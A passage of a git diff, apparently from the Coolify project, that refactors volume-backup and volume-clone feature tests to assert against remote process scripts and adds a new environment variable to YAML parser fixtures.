explode(PHP_EOL, $command); $remote = implode(PHP_EOL, array_slice($lines, 1, -1)); if (str_starts_with($remote, 'sudo ')) { diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php index 9b82d22785..cb4086ae5e 100644 --- a/tests/Feature/VolumeBackupTest.php +++ b/tests/Feature/VolumeBackupTest.php @@ -817,8 +817,8 @@ it('deletes an individual volume backup archive and execution', function () { ->assertDispatched('success'); expect($execution->fresh())->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'archive.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'archive.tar.gz')); }); it('deletes an individual S3 archive from the storage recorded on its execution', function () { @@ -1608,8 +1608,8 @@ it('deletes local archives before deleting a volume backup schedule', function ( ]); expect(ScheduledVolumeBackup::query()->count())->toBe(0); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'archive.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'archive.tar.gz')); }); it('deletes a volume backup schedule without deleting unselected archives', function () { @@ -1812,8 +1812,8 @@ it('deletes disabled volume backup archives before deleting their application', expect($backup->fresh())->toBeNull() ->and($execution->fresh())->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'application-delete.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'application-delete.tar.gz')); }); it('marks a running execution failed even when the job instance lost its execution state', function () { @@ -1836,8 +1836,8 @@ it('marks a running execution failed even when the job instance lost its executi ->and($execution->fresh()->message)->toBe('Worker timed out') ->and($execution->fresh()->finished_at)->not->toBeNull() ->and($execution->fresh()->filename)->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'timed-out.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'timed-out.tar.gz')); }); it('archives a named volume using the server compression CPU percentage', function (int $compressionCpuPercentage) { @@ -1855,7 +1855,7 @@ it('archives a named volume using the server compression CPU percentage', functi 'timeout' => 3600, ]); - Process::fake([ + fakeRemoteProcesses([ '*docker ps -q*' => 'abc123', '*du -b*' => '128', '*' => '', @@ -1874,17 +1874,17 @@ it('archives a named volume using the server compression CPU percentage', functi ->and($execution->size)->toBe(128) ->and($execution->filename)->toEndWith('.tar.gz'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker volume inspect') - && str_contains($process->command, 'docker run --rm --name ') - && str_contains($process->command, 'app-data:/volume:ro') - && str_contains($process->command, 'command -v pigz') - && str_contains($process->command, 'pigz -3 -p') - && str_contains($process->command, "\$(nproc) * {$compressionCpuPercentage} + 99") - && str_contains($process->command, 'gzip -3') - && str_contains($process->command, 'tar -I "$compressor" -cf -') - && str_contains($process->command, '> ') - && str_contains($process->command, '.tar.gz') - && ! str_contains($process->command, ':/backup')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker volume inspect') + && str_contains(remoteProcessScript($process), 'docker run --rm --name ') + && str_contains(remoteProcessScript($process), 'app-data:/volume:ro') + && str_contains(remoteProcessScript($process), 'command -v pigz') + && str_contains(remoteProcessScript($process), 'pigz -3 -p') + && str_contains(remoteProcessScript($process), "\$(nproc) * {$compressionCpuPercentage} + 99") + && str_contains(remoteProcessScript($process), 'gzip -3') + && str_contains(remoteProcessScript($process), 'tar -I "$compressor" -cf -') + && str_contains(remoteProcessScript($process), '> ') + && str_contains(remoteProcessScript($process), '.tar.gz') + && ! str_contains(remoteProcessScript($process), ':/backup')); })->with([ 'low' => 25, 'high' => 75, @@ -1906,7 +1906,7 @@ it('logs the selected volume backup compressor in development', function (string 'retention_max_storage_s3' => 0, ]); - Process::fake([ + fakeRemoteProcesses([ '*command -v pigz*' => $detectedCompressor, '*du -b*' => '128', '*' => '', @@ -1953,7 +1953,7 @@ it('keeps the upload destination on the volume backup execution', function () { $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); @@ -1997,7 +1997,7 @@ it('streams S3-only volume backups with Content-MD5 on Object Lock buckets and w $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->once()->andReturn($disk); - Process::fake([ + fakeRemoteProcesses([ '*mc pipe*' => "Added `temporary` successfully.\n128 bytes -> `temporary/bucket/archive.tar.gz`\n128", '*' => '', ]); @@ -2006,21 +2006,23 @@ it('streams S3-only volume backups with Content-MD5 on Object Lock buckets and w $execution = ScheduledVolumeBackupExecution::query()->sole(); $expectedFilename = 'volume-app-data-1786795200.tar.gz'; - Process::assertRan(fn ($process) => str_contains($process->command, 'tar -I') - && str_contains($process->command, 'mc pipe') - && str_contains($process->command, "-e 'MC_REGION=ru-central-1'") - && ! str_contains($process->command, '--quiet') - && str_contains($process->command, 'lock=$(mc retention info --default --json --resolve') - && str_contains($process->command, '*) checksum=--checksum=MD5 ;; *) checksum= ;; esac && (compressor=') - && str_contains($process->command, ' $checksum ') - && str_contains($process->command, '>/dev/null 2>/tmp/mc-pipe.log || {') - && str_contains($process->command, '/tmp/mc-pipe.log >&2; exit $status; }) && mc stat') - && str_contains($process->command, 'temporary/bucket/') - && str_contains($process->command, $expectedFilename) - && substr_count($process->command, '--resolve') === 4 - && substr_count($process->command, '>/dev/null') >= 2 - && ! str_contains($process->command, ' > ') - && ! str_contains($process->command, 'mc cp')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'tar -I') + && str_contains(remoteProcessScript($process), 'mc pipe') + && ! str_contains(remoteProcessScript($process), '--quiet') + && str_contains(remoteProcessScript($process), 'lock=$(mc retention info --default --json --resolve') + && str_contains(remoteProcessScript($process), '*) checksum=--checksum=MD5 ;; *) checksum= ;; esac && (compressor=') + && str_contains(remoteProcessScript($process), ' $checksum ') + && str_contains(remoteProcessScript($process), '>/dev/null 2>/tmp/mc-pipe.log || {') + && str_contains(remoteProcessScript($process), '/tmp/mc-pipe.log >&2; exit $status; }) && mc stat') + && str_contains(remoteProcessScript($process), 'temporary/bucket/') + && str_contains(remoteProcessScript($process), $expectedFilename) + && substr_count(remoteProcessScript($process), '--resolve') === 3 + && substr_count(remoteProcessScript($process), '>/dev/null') >= 1 + && ! str_contains(remoteProcessScript($process), ' > ') + && ! str_contains(remoteProcessScript($process), 'mc cp')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker run -d --rm --name') + && str_contains(remoteProcessScript($process), "-e 'MC_REGION=ru-central-1'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc alias set --resolve')); expect($execution->status)->toBe('success') ->and($execution->size)->toBe(128) ->and($execution->s3_uploaded)->toBeTrue() @@ -2056,7 +2058,7 @@ it('fails an unsupported S3 stream without falling back to a local archive', fun $disk->shouldReceive('delete')->once()->andReturnTrue(); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); - Process::fake([ + fakeRemoteProcesses([ '*mc pipe*' => Process::result(errorOutput: 'streaming upload is unsupported', exitCode: 1), '*' => '', ]); @@ -2070,11 +2072,11 @@ it('fails an unsupported S3 stream without falling back to a local archive', fun ->and($execution->message)->toContain('Enable local backups to use the local archive upload method.') ->and($execution->filename)->toBeNull() ->and($execution->local_storage_deleted)->toBeTrue(); - Process::assertRan(fn ($process) => str_contains($process->command, 'mc pipe') - && ! str_contains($process->command, 'mc cp') - && ! str_contains($process->command, ' > ')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mkdir -p') - || (str_contains($process->command, 'rm -f') && str_contains($process->command, '.tar.gz'))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc pipe') + && ! str_contains(remoteProcessScript($process), 'mc cp') + && ! str_contains(remoteProcessScript($process), ' > ')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mkdir -p') + || preg_match("/(^|\n)rm -f '[^\n]*\.tar\.gz'/", remoteProcessScript($process)) === 1); }); it('keeps local-first archive creation and mc copy when retaining a local volume backup', function () { @@ -2105,18 +2107,18 @@ it('keeps local-first archive creation and mc copy when retaining a local volume $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->once()->andReturn($disk); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); (new VolumeBackupJob($backup))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, 'tar -I') - && str_contains($process->command, '>') - && ! str_contains($process->command, 'mc pipe')); - Process::assertRan(fn ($process) => str_contains($process->command, 'mc cp --resolve ') - && ! str_contains($process->command, 'mc pipe')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'tar -I') + && str_contains(remoteProcessScript($process), '>') + && ! str_contains(remoteProcessScript($process), 'mc pipe')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc cp --resolve ') + && ! str_contains(remoteProcessScript($process), 'mc pipe')); }); it('removes local volume backups older than the configured retention days', function () { @@ -2146,7 +2148,7 @@ it('removes local volume backups older than the configured retention days', func ]); ScheduledVolumeBackupExecution::query()->whereKey($recentExecution)->update(['created_at' => now()->subDay()]); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); @@ -2155,8 +2157,8 @@ it('removes local volume backups older than the configured retention days', func expect($expiredExecution->fresh())->toBeNull() ->and($recentExecution->fresh())->not->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'expired.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'expired.tar.gz')); }); it('removes oldest local volume backups over the configured storage limit', function () { @@ -2179,7 +2181,7 @@ it('removes oldest local volume backups over the configured storage limit', func ]); ScheduledVolumeBackupExecution::query()->whereKey($oldExecution)->update(['created_at' => now()->subDay()]); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); @@ -2188,8 +2190,8 @@ it('removes oldest local volume backups over the configured storage limit', func expect($oldExecution->fresh())->toBeNull() ->and($backup->executions()->where('status', 'success')->count())->toBe(1); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, 'over-limit.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), 'over-limit.tar.gz')); }); it('removes retained S3 archives from the storage recorded on each execution', function () { @@ -2319,7 +2321,7 @@ it('keeps a successful backup successful when retention cleanup fails', function 'created_at' => now()->subDay(), ]); - Process::fake([ + fakeRemoteProcesses([ '*rm -f*' => Process::result(errorOutput: 'permission denied', exitCode: 1), '*du -b*' => '128', '*' => '', @@ -2345,7 +2347,7 @@ it('stops and restarts containers that use the volume when requested', function 'stop_during_backup' => true, ]); - Process::fake([ + fakeRemoteProcesses([ '*docker ps -q*' => "abc123\ndef456", '*du -b*' => '128', '*' => '', @@ -2353,16 +2355,16 @@ it('stops and restarts containers that use the volume when requested', function (new VolumeBackupJob($backup))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, 'trap cleanup EXIT') - && str_contains($process->command, 'exit 143') - && str_contains($process->command, 'TERM') - && str_contains($process->command, 'docker stop') - && str_contains($process->command, 'docker start') - && str_contains($process->command, 'state_file=')); - Process::assertRan(fn ($process) => str_contains($process->command, '{{println .Source}}{{println .Name}}') - && str_contains($process->command, "grep -Fqx -- 'app-data'") - && str_contains($process->command, '{{if not .State.Paused}}') - && str_contains($process->command, 'continue')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'trap cleanup EXIT') + && str_contains(remoteProcessScript($process), 'exit 143') + && str_contains(remoteProcessScript($process), 'TERM') + && str_contains(remoteProcessScript($process), 'docker stop') + && str_contains(remoteProcessScript($process), 'docker start') + && str_contains(remoteProcessScript($process), 'state_file=')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), '{{println .Source}}{{println .Name}}') + && str_contains(remoteProcessScript($process), "grep -Fqx -- 'app-data'") + && str_contains(remoteProcessScript($process), '{{if not .State.Paused}}') + && str_contains(remoteProcessScript($process), 'continue')); }); /** @@ -2374,10 +2376,10 @@ function runVolumeContainerScan(string $fakeDocker): array { $scan = ''; Process::assertRan(function ($process) use (&$scan): bool { - if (! str_contains($process->command, 'docker ps -q')) { + if (! str_contains(remoteProcessScript($process), 'docker ps -q')) { return false; } - $scan = $process->command; + $scan = remoteProcessScript($process); return true; }); @@ -2406,7 +2408,7 @@ it('skips containers that are removed while scanning for volume users', function 'stop_during_backup' => true, ]); - Process::fake(['*du -b*' => '128', '*' => '']); + fakeRemoteProcesses(['*du -b*' => '128', '*' => '']); (new VolumeBackupJob($backup))->handle(); $docker = <<<'SH' @@ -2436,7 +2438,7 @@ it('finds containers using a bind mounted host path before stopping', function ( 'stop_during_backup' => true, ]); - Process::fake([ + fakeRemoteProcesses([ '*docker ps -q*' => 'abc123', '*du -b*' => '128', '*' => '', @@ -2444,8 +2446,8 @@ it('finds containers using a bind mounted host path before stopping', function ( (new VolumeBackupJob($backup))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, '{{println .Source}}{{println .Name}}') - && str_contains($process->command, "grep -Fqx -- '/srv/app-data'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), '{{println .Source}}{{println .Name}}') + && str_contains(remoteProcessScript($process), "grep -Fqx -- '/srv/app-data'")); }); it('archives an application directory mount from its resolved host path', function () { @@ -2468,7 +2470,7 @@ it('archives an application directory mount from its resolved host path', functi ]); $source = $application->workdir().'/uploads'; - Process::fake([ + fakeRemoteProcesses([ '*docker ps -q*' => 'abc123', '*du -b*' => '128', '*' => '', @@ -2477,13 +2479,13 @@ it('archives an application directory mount from its resolved host path', functi (new VolumeBackupJob($backup))->handle(); expect(ScheduledVolumeBackupExecution::query()->sole()->status)->toBe('success'); - Process::assertRan(fn ($process) => str_contains($process->command, 'test -d '.escapeshellarg($source))); - Process::assertRan(fn ($process) => str_contains($process->command, $source) - && str_contains($process->command, ':/volume:ro') - && str_contains($process->command, 'directory-uploads-')); - Process::assertRan(fn ($process) => str_contains($process->command, "grep -Fqx -- '".$source."'")); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker stop') - && str_contains($process->command, 'docker start')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'test -d '.escapeshellarg($source))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), $source) + && str_contains(remoteProcessScript($process), ':/volume:ro') + && str_contains(remoteProcessScript($process), 'directory-uploads-')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "grep -Fqx -- '".$source."'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker stop') + && str_contains(remoteProcessScript($process), 'docker start')); }); it('retries container recovery when a timed out backup left a container stopped', function () { @@ -2499,7 +2501,7 @@ it('retries container recovery when a timed out backup left a container stopped' 'status' => 'running', 'stop_recovery_pending' => true, ]); - Process::fake([ + fakeRemoteProcesses([ '*cat *coolify-volume-backup-*' => 'abc123', '*docker start*' => Process::result(errorOutput: 'daemon unavailable', exitCode: 1), ]); @@ -2523,7 +2525,7 @@ it('restarts containers and removes a partial archive when archiving fails', fun 'frequency' => 'daily', 'stop_during_backup' => true, ]); - Process::fake([ + fakeRemoteProcesses([ '*docker ps -q*' => 'abc123', '*trap cleanup EXIT*' => Process::result(errorOutput: 'archive failed', exitCode: 1), '*' => '', @@ -2534,8 +2536,8 @@ it('restarts containers and removes a partial archive when archiving fails', fun $execution = ScheduledVolumeBackupExecution::query()->sole(); expect($execution->status)->toBe('failed') ->and($execution->stop_container_ids)->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'rm -f') - && str_contains($process->command, '.tar.gz')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -f') + && str_contains(remoteProcessScript($process), '.tar.gz')); }); it('throws when the S3 filesystem reports that deletion failed', function () { @@ -2887,7 +2889,7 @@ it('notifies the team when a volume backup succeeds', function () { 'team_id' => $team->id, 'frequency' => 'daily', ]); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); diff --git a/tests/Feature/VolumeCloneJobTest.php b/tests/Feature/VolumeCloneJobTest.php index 8a3c585f69..b0f6e627d4 100644 --- a/tests/Feature/VolumeCloneJobTest.php +++ b/tests/Feature/VolumeCloneJobTest.php @@ -44,7 +44,7 @@ beforeEach(function () { function fakeVolumeCloneServer(?array $sourceVolume): void { Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'docker volume inspect') + output: str_contains(remoteProcessScript($process), 'docker volume inspect') ? json_encode($sourceVolume === null ? [] : [$sourceVolume]) : '', )); @@ -54,7 +54,7 @@ function volumeCloneCommands(): string { $commands = []; Process::assertRan(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return true; }); diff --git a/tests/Fixtures/parser/application-reference.yaml b/tests/Fixtures/parser/application-reference.yaml index 9f40212547..d78609688a 100644 --- a/tests/Fixtures/parser/application-reference.yaml +++ b/tests/Fixtures/parser/application-reference.yaml @@ -54,6 +54,8 @@ services: SERVICE_FQDN_API: /api MAP_LITERAL: map-value MAP_NULL: + # Empty value: filled from the stored variable (the preview variable for a pull request). + MAP_EMPTY_FROM_DATABASE: '' ports: - "3001:3001" - target: 3002 diff --git a/tests/Fixtures/parser/expected/application-with-exact-caddy-labels.yaml b/tests/Fixtures/parser/expected/application-with-exact-caddy-labels.yaml index 885372bac3..63897e9c8f 100644 --- a/tests/Fixtures/parser/expected/application-with-exact-caddy-labels.yaml +++ b/tests/Fixtures/parser/expected/application-with-exact-caddy-labels.yaml @@ -34,6 +34,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -172,6 +173,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -677,6 +679,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -819,6 +822,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -1373,6 +1377,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -1386,9 +1391,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -1516,6 +1521,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/7/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-7 @@ -2072,6 +2078,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -2085,9 +2092,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -2193,6 +2200,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/8/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-8 diff --git a/tests/Fixtures/parser/expected/application-with-exact-traefik-labels.yaml b/tests/Fixtures/parser/expected/application-with-exact-traefik-labels.yaml index bf5d8ae42f..83792ffb74 100644 --- a/tests/Fixtures/parser/expected/application-with-exact-traefik-labels.yaml +++ b/tests/Fixtures/parser/expected/application-with-exact-traefik-labels.yaml @@ -34,6 +34,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -174,6 +175,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -690,6 +692,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -841,6 +844,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -1439,6 +1443,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -1452,9 +1457,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -1591,6 +1596,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/7/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-7 @@ -2189,6 +2195,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -2202,9 +2209,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -2310,6 +2317,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/8/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-8 diff --git a/tests/Fixtures/parser/expected/application-with-settings.yaml b/tests/Fixtures/parser/expected/application-with-settings.yaml index 32c3ad3a7b..3363af1f60 100644 --- a/tests/Fixtures/parser/expected/application-with-settings.yaml +++ b/tests/Fixtures/parser/expected/application-with-settings.yaml @@ -34,6 +34,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -186,6 +187,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -785,6 +787,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -948,6 +951,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -1635,6 +1639,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -1648,9 +1653,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -1801,6 +1806,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/7/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-7 @@ -2495,6 +2501,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -2508,9 +2515,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -2624,6 +2631,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/8/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-8 diff --git a/tests/Fixtures/parser/expected/application.yaml b/tests/Fixtures/parser/expected/application.yaml index 6e52c2b0ee..fc3380cdbf 100644 --- a/tests/Fixtures/parser/expected/application.yaml +++ b/tests/Fixtures/parser/expected/application.yaml @@ -34,6 +34,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -181,6 +182,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -725,6 +727,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -883,6 +886,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: production-value COOLIFY_BRANCH: '"main"' COOLIFY_RESOURCE_UUID: 